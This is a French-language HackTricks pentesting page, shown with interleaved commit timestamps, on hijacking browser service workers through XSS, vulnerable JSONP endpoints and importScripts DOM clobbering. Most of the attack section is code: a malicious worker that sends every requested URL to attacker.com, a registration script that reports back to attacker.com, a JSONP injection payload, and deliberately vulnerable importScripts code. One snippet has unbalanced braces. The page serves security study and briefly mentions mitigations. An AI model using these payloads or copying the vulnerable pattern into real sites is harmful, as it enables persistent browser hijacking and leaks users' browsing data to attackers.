hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

118 lines
9.2 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Abus des travailleurs de service
2022-12-20 11:25:07 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>
2023-06-03 13:10:46 +00:00
## Informations de base
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Un travailleur de service est un **script** que votre navigateur **exécute** en **arrière-plan**, séparé d'une page Web, ouvrant la porte à des fonctionnalités qui n'ont pas besoin d'une page Web ou d'une interaction utilisateur. ([Plus d'informations sur ce qu'est un travailleur de service ici](https://developers.google.com/web/fundamentals/primers/service-workers)).\
Ensuite, vous pouvez abuser des travailleurs de service en les **créant/modifiant** sur la **session de la victime** à l'intérieur du **domaine web vulnérable** qui accorde au **attaquant le contrôle** sur **toutes les pages** que la **victime** chargera dans **ce domaine**.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
### Vérifier l'existence des travailleurs de service
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez les voir dans le champ **Travailleurs de service** de l'onglet **Outils de développement**. Vous pouvez également consulter [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
### Notifications push
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Si la victime n'a pas accordé les **autorisations de notifications push**, le travailleur de service **ne pourra pas recevoir de communications du serveur si l'utilisateur n'accède pas à nouveau à la page de l'attaquant**. Cela **empêchera** par exemple, de maintenir des conversations avec toutes les pages qui ont accédé à la page Web de l'attaquant, de sorte qu'un exploit Web si un travailleur de service est trouvé, il peut le recevoir et l'exécuter.\
Cependant, si la victime **accorde les autorisations de notifications push, cela pourrait être un risque**.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
## Attaque en créant un travailleur de service
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Pour exploiter cette vulnérabilité, vous devez trouver :
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
* Un moyen de **télécharger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le travailleur de service** du fichier JS téléchargé
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec une charge utile** qui **chargera un travailleur de service malveillant**.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau travailleur de service** qui écoutera l'événement `fetch` et **enverra à l'attaquant chaque URL récupéré** (c'est le code dont vous auriez besoin pour **télécharger** sur le **serveur** ou charger via une réponse **JSONP vulnérable**) :
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
2023-06-03 13:10:46 +00:00
Et voici le code qui va **enregistrer le worker** (le code que vous devriez être capable d'exécuter en exploitant une **XSS**). Dans ce cas, une requête **GET** sera envoyée au serveur des **attaquants** pour **notifier** si l'**enregistrement** du service worker a réussi ou non :
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```
2023-06-03 13:10:46 +00:00
En cas d'abus d'un point d'extrémité JSONP vulnérable, vous devez mettre la valeur à l'intérieur de `var sw`. Par exemple:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
2023-06-03 13:10:46 +00:00
Il existe un **C2** dédié à l'**exploitation des Service Workers** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour exploiter ces vulnérabilités.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Dans une situation XSS, la directive de cache de 24 heures garantit qu'un SW malveillant ou compromis survivra à une correction de la vulnérabilité XSS pendant au maximum 24 heures (en supposant que le client soit en ligne). Les opérateurs de sites peuvent réduire la fenêtre de vulnérabilité en définissant des TTL plus bas sur les scripts SW. Nous encourageons également les développeurs à [construire un SW de coupure](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776).
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
## Abus de `importScripts` dans un SW via DOM Clobbering
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
La fonction **`importScripts`** appelée depuis un Service Worker peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre qu'un attaquant pourrait** modifier, il serait capable d'**importer un script JS depuis son domaine** et d'obtenir XSS.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
**Cela contourne même les protections CSP.**
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
**Exemple de code vulnérable:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```
2023-06-03 13:10:46 +00:00
* **sw.js** : Le fichier JavaScript du Service Worker.
2022-12-20 11:25:07 +00:00
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-06-03 13:10:46 +00:00
### Avec le DOM Clobbering
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
Si l'URL/domaine que le SW utilise pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Pour un exemple de cela, consultez le lien de référence.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
## Références
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>